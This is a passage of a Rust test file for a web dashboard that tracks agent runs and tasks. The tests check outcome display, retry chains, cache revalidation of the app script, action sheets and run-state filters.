14978 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
14979 write_run(&runs, old, RunStatus::Stalled);
14980 write_run(&runs, new, RunStatus::Blocked);
14981 let mut t = outcome_task(&[old, new], TaskStatus::Held);
14982 fx.queue().put(&mut t).expect("put");
14983
14984 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
14985 assert_eq!(task["status"], "held");
14986 assert_eq!(task["is_latest"], true);
14987 assert!(task["latest"].is_null());
14988 assert!(task["finished_by"].is_null());
14989 assert_eq!(task["closed_by_hand"], false);
14990 }
14991
14992 #[tokio::test]
14993 async fn a_direct_run_has_no_task_outcome() {
14994 let fx = Fixture::start().await;
14995 let runs = fx.runs();
14996 let id = "20260901-000000-aaaa";
14997 write_run(&runs, id, RunStatus::Blocked);
14998 let view = fx.get(&format!("/api/runs/{id}")).await.json();
14999 assert!(view["task"].is_null());
15000 }
15001
15002 #[test]
15003 fn task_outcome_does_not_guess_a_finishing_run() {
15004 let a = "20260901-000000-aaaa";
15005 let b = "20260901-000000-bbbb";
15006 let c = "20260901-000000-cccc";
15007 let dir = tempfile::tempdir().expect("tempdir");
15008 write_run(dir.path(), a, RunStatus::Blocked);
15009 write_run(dir.path(), b, RunStatus::VerifiedNoop);
15010 let read = |id: &str| read_run(dir.path(), id).ok();
15012 let t = outcome_task(&[a, b, c], TaskStatus::Done);
15015 let out = task_outcome(&t, a, 3, read);
15016 assert!(out.finished_by.is_none());
15017 assert!(out.closed_by_hand);
15018 let latest = out.latest.expect("latest");
15019 assert_eq!(latest.id, c);
15020 assert_eq!(latest.status, None);
15021 assert_eq!(latest.outcome, "record unreadable");
15022
15023 write_run(dir.path(), c, RunStatus::Ready);
15025 let t = outcome_task(&[a, c], TaskStatus::Done);
15026 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
15027 assert_eq!(out.finished_by.expect("finisher").id, c);
15028 assert!(!out.closed_by_hand);
15029
15030 let t = outcome_task(&[a, b, a], TaskStatus::Held);
15032 assert!(task_outcome(&t, a, 3, read).is_latest);
15033 }
15034
15035 #[tokio::test]
15036 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
15037 let fx = Fixture::start().await;
15042 let q = fx.queue();
15043 let runs = fx.runs();
15044 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
15045 write_run(&runs, first, RunStatus::Blocked);
15046 write_run(&runs, second, RunStatus::Merged);
15047
15048 let mut t = Task::new(
15049 "one task".to_owned(),
15050 "do it".to_owned(),
15051 PathBuf::from("/repo"),
15052 Source::Human,
15053 );
15054 t.runs = vec![first.to_owned(), second.to_owned()];
15055 q.put(&mut t).expect("put");
15056
15057 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
15058 assert_eq!(earlier["superseded_by"], "dddd");
15059 assert_eq!(earlier["latest_attempt"]["id"], second);
15060 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
15061 assert_eq!(
15062 earlier["latest_attempt"]["resolved"], true,
15063 "the run that replaced it landed, so this one reads as settled"
15064 );
15065
15066 let later = fx.get(&format!("/api/runs/{second}")).await.json();
15067 assert!(
15068 later["superseded_by"].is_null(),
15069 "the latest attempt is not superseded by anything"
15070 );
15071 assert!(
15072 later["latest_attempt"].is_null(),
15073 "the latest attempt has no later attempt of its own"
15074 );
15075
15076 assert!(APP_JS.contains("run.latest_attempt"));
15083 assert!(APP_JS.contains("data-superseded"));
15084 assert!(APP_JS.contains("#/runs/${latest.id}"));
15085 }
15086
15087 #[tokio::test]
15088 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
15089 let fx = Fixture::start().await;
15095 let q = fx.queue();
15096 let runs = fx.runs();
15097 let (a, b, c) = (
15098 "20260901-000000-aaaa",
15099 "20260901-000000-bbbb",
15100 "20260901-000000-cccc",
15101 );
15102 write_run(&runs, a, RunStatus::Blocked);
15103 write_run(&runs, b, RunStatus::Blocked);
15104 write_run(&runs, c, RunStatus::Merged);
15105
15106 let mut t = Task::new(
15107 "retried twice".to_owned(),
15108 "do it".to_owned(),
15109 PathBuf::from("/repo"),
15110 Source::Human,
15111 );
15112 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
15113 q.put(&mut t).expect("put");
15114
15115 let view = fx.get(&format!("/api/runs/{a}")).await.json();
15116 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
15117 assert_eq!(
15118 view["latest_attempt"]["id"], c,
15119 "the chain's current head, not the intermediate Blocked retry"
15120 );
15121 assert_eq!(view["latest_attempt"]["resolved"], true);
15122
15123 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
15124 assert_eq!(mid["latest_attempt"]["id"], c);
15125 assert_eq!(mid["latest_attempt"]["resolved"], true);
15126 }
15127
15128 #[tokio::test]
15129 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
15130 let fx = Fixture::start().await;
15131 let q = fx.queue();
15132 let runs = fx.runs();
15133
15134 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
15137 write_run(&runs, still_blocked_a, RunStatus::Blocked);
15138 write_run(&runs, still_blocked_b, RunStatus::Blocked);
15139 let mut t1 = Task::new(
15140 "still stuck".to_owned(),
15141 "do it".to_owned(),
15142 PathBuf::from("/repo"),
15143 Source::Human,
15144 );
15145 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
15146 q.put(&mut t1).expect("put");
15147 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
15148 assert_eq!(view1["latest_attempt"]["resolved"], false);
15149 assert_eq!(view1["latest_attempt"]["status"], "blocked");
15150 assert_eq!(view1["latest_attempt"]["done"], true);
15151
15152 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
15154 write_run(&runs, run_a, RunStatus::Blocked);
15155 write_run(&runs, run_b, RunStatus::Implementing);
15156 let mut t3 = Task::new(
15157 "retrying".to_owned(),
15158 "do it".to_owned(),
15159 PathBuf::from("/repo"),
15160 Source::Human,
15161 );
15162 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
15163 q.put(&mut t3).expect("put");
15164 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
15165 assert_eq!(view3["latest_attempt"]["id"], run_b);
15166 assert_eq!(view3["latest_attempt"]["resolved"], false);
15167 assert_eq!(view3["latest_attempt"]["done"], false);
15168
15169 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
15174 write_run(&runs, noop_a, RunStatus::Blocked);
15175 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
15176 let mut t2 = Task::new(
15177 "claims done".to_owned(),
15178 "do it".to_owned(),
15179 PathBuf::from("/repo"),
15180 Source::Human,
15181 );
15182 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
15183 q.put(&mut t2).expect("put");
15184 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
15185 assert_eq!(
15186 view2["latest_attempt"]["resolved"], false,
15187 "an unverified no-op claim must not read as a confirmed finish"
15188 );
15189
15190 assert!(APP_JS.contains("latest.resolved"));
15193 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
15196 assert!(APP_JS.contains("Latest attempt: "));
15197 assert!(APP_JS.contains("in flight"));
15198 assert!(APP_JS.contains("not resolved"));
15199 }
15200
15201 #[tokio::test]
15202 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
15203 let fx = Fixture::start().await;
15204 let js = fx.get("/app.js").await;
15210 assert_eq!(js.status, 200);
15211 let tag = js
15212 .header("etag")
15213 .expect("an etag to revalidate against")
15214 .to_owned();
15215 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
15216 assert_eq!(
15217 js.header("cache-control"),
15218 Some("no-cache, must-revalidate"),
15219 "the phone has to ask every time"
15220 );
15221
15222 let again = fx
15225 .get_with("/app.js", &[("if-none-match", tag.as_str())])
15226 .await;
15227 assert_eq!(
15228 again.status, 304,
15229 "a deck it already has costs one round trip"
15230 );
15231 assert!(again.body.is_empty(), "304 carries no body");
15232
15233 let weak = fx
15236 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
15237 .await;
15238 assert_eq!(weak.status, 304);
15239 let stale = fx
15240 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
15241 .await;
15242 assert_eq!(stale.status, 200, "an older build must be replaced");
15243 assert!(stale.body.contains("renderRunActions"));
15244 }
15245
15246 #[test]
15247 fn the_task_detail_has_an_actions_fab_and_sheet() {
15248 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
15249 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
15250 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
15251 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
15253 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
15254 assert!(APP_JS.contains("renderTaskActions(task);"));
15256 assert!(APP_JS.contains("renderTaskActions(null);"));
15257 let sheet = APP_JS
15259 .find("function renderTaskActions")
15260 .expect("sheet renderer");
15261 let body = &APP_JS[sheet..sheet + 3000];
15262 assert!(body.contains("changePriority("));
15263 assert!(body.contains("openTaskEdit(task)"));
15264 assert!(body.contains("renderTaskHoldBox(host"));
15265 assert!(body.contains("renderTaskDoneBox(host"));
15266 assert!(body.contains("renderTaskDeleteBox(host"));
15267 assert!(APP_JS.contains("API.priority(id)"));
15268 assert!(APP_JS.contains("API.deleteTask(id)"));
15269 assert!(APP_JS.contains("location.hash = \"#/queue\""));
15271 assert!(APP_JS.contains("$(\"task-actions-error\")"));
15273 }
15274
15275 #[test]
15276 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
15277 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
15278 let actions = INDEX_HTML
15279 .find("id=\"run-actions-box\"")
15280 .expect("actions box");
15281 assert!(task < actions, "the task entry comes first in the sheet");
15282 assert!(APP_JS.contains("renderRunTaskEntry"));
15283 assert!(APP_JS.contains("\"Open task \""));
15284 assert!(APP_JS.contains("started directly, no task"));
15286 assert!(APP_JS.contains("sheet-task-link"));
15287 assert!(APP_JS.contains("task-chip-link"));
15288 }
15289
15290 #[test]
15291 fn the_deck_never_sends_the_operator_to_a_terminal() {
15292 assert!(
15295 !APP_JS.contains("Run `magi fold` first"),
15296 "the deck must offer the fold, not prescribe a shell command"
15297 );
15298 assert!(APP_JS.contains("foldRun:"));
15299 assert!(APP_JS.contains("resumeRun:"));
15300 assert!(APP_JS.contains("renderRunActions"));
15301
15302 assert!(APP_JS.contains("armedFold"));
15304 assert!(APP_JS.contains("Yes, fold worktrees"));
15305
15306 assert!(APP_JS.contains("can no longer be resumed"));
15309 }
15310
15311 #[test]
15312 fn a_finished_run_explains_itself_with_its_own_last_line() {
15313 assert!(
15319 !APP_JS.contains("collapsed on agent quota"),
15320 "a stall must not be explained by a cause the deck did not check"
15321 );
15322 assert!(
15323 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
15324 "and a block must not offer a guess with an `or` in it"
15325 );
15326
15327 assert!(
15331 APP_JS.contains("setText(r.event, run.event || \"\")"),
15332 "the run's last line is rendered unconditionally"
15333 );
15334 assert!(
15335 !APP_JS.contains("moving && run.event"),
15336 "and never gated on the run still moving"
15337 );
15338
15339 assert!(APP_JS.contains("lost to quota"));
15341 }
15342
15343 #[test]
15365 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
15366 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
15367 let shapes_body_start =
15368 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
15369 let shapes_close = APP_JS[shapes_body_start..]
15370 .find("].map(")
15371 .expect("the shape list is closed by its done-computing .map(...)")
15372 + shapes_body_start;
15373 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
15374
15375 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
15376 for entry in shapes_src.split('{').skip(1) {
15377 let waiting = entry.contains("waiting: true");
15378 let dead = entry.contains("live: \"dead\"");
15379 let status_at =
15380 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
15381 let status_end = entry[status_at..]
15382 .find('"')
15383 .expect("the status string is closed")
15384 + status_at;
15385 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
15386 }
15387 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
15388
15389 let done_rule_marker = "done: !";
15393 let done_rule_at = APP_JS[shapes_close..]
15394 .find(done_rule_marker)
15395 .expect("the done rule follows the shape list")
15396 + shapes_close
15397 + done_rule_marker.len();
15398 let includes_at = APP_JS[done_rule_at..]
15399 .find(".includes(shape.status)")
15400 .expect("the done rule ends in .includes(shape.status)")
15401 + done_rule_at;
15402 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
15403 .trim()
15404 .trim_start_matches('[')
15405 .trim_end_matches(']')
15406 .split(',')
15407 .map(|s| s.trim().trim_matches('"'))
15408 .filter(|s| !s.is_empty())
15409 .collect();
15410
15411 let shapes: Vec<(bool, String, bool, bool)> = shapes
15412 .into_iter()
15413 .map(|(waiting, status, dead)| {
15414 let done = !not_done.contains(&status.as_str());
15415 (waiting, status, dead, done)
15416 })
15417 .collect();
15418
15419 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
15423 if waiting {
15424 return "waiting";
15425 }
15426 if dead
15427 && !matches!(
15428 status,
15429 "merged"
15430 | "ready"
15431 | "stalled"
15432 | "blocked"
15433 | "failed"
15434 | "verified_noop"
15435 | "superseded"
15436 | "already_in_base"
15437 )
15438 {
15439 return "stale";
15440 }
15441 match status {
15442 "merged" | "ready" => "landed",
15443 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
15444 | "already_in_base" => "ended",
15445 _ => "flight",
15446 }
15447 }
15448
15449 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
15452 match filter_key {
15453 "active" => !done,
15454 "flight" => !done && !waiting && !dead,
15455 "stale" => !done && !waiting && dead,
15456 "waiting" => waiting,
15457 "done" => done,
15458 "all" => true,
15459 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
15460 }
15461 }
15462
15463 let compatible = |section: &str, filter_key: &str| {
15464 shapes.iter().any(|(waiting, status, dead, done)| {
15465 run_section(*waiting, status, *dead) == section
15466 && filter_matches(filter_key, *waiting, *dead, *done)
15467 })
15468 };
15469
15470 let expected = [
15475 ("waiting", [true, false, false, true, true, true]),
15476 ("stale", [true, false, true, false, false, true]),
15477 ("flight", [true, true, false, false, false, true]),
15478 ("landed", [false, false, false, false, true, true]),
15479 ("ended", [false, false, false, false, true, true]),
15480 ];
15481 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
15482
15483 for (section, wants) in expected {
15484 for (filter_key, want) in filter_keys.iter().zip(wants) {
15485 assert_eq!(
15486 compatible(section, filter_key),
15487 want,
15488 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
15489 );
15490 }
15491 }
15492
15493 assert!(
15496 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
15497 );
15498 assert!(APP_JS.contains(
15499 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
15500 ));
15501 assert!(APP_JS.contains(
15502 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
15503 ));
15504 }
15505
15506 #[tokio::test]
15507 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
15508 let dir = tempfile::tempdir().expect("tempdir");
15512 let explicit = dir.path().join("not-a-checkout");
15513 std::fs::create_dir_all(&explicit).expect("create dir");
15514 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
15515
15516 let missing = dir.path().join("does-not-exist-at-all");
15517 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
15518 }
15519
15520 #[test]
15521 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
15522 assert!(APP_JS.contains("function statsDonutArcs"));
15523 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
15524 assert!(APP_JS.contains("function statusInBucket"));
15526 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
15527 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
15528 let buckets = [
15529 "merged",
15530 "ready",
15531 "in_progress",
15532 "blocked",
15533 "failed",
15534 "verified_noop",
15535 "superseded",
15536 "stalled",
15537 ];
15538 for key in buckets {
15539 let var = format!("--verdict-{key}:");
15540 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
15542 assert!(
15543 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
15544 "{key}"
15545 );
15546 }
15547 }
15548}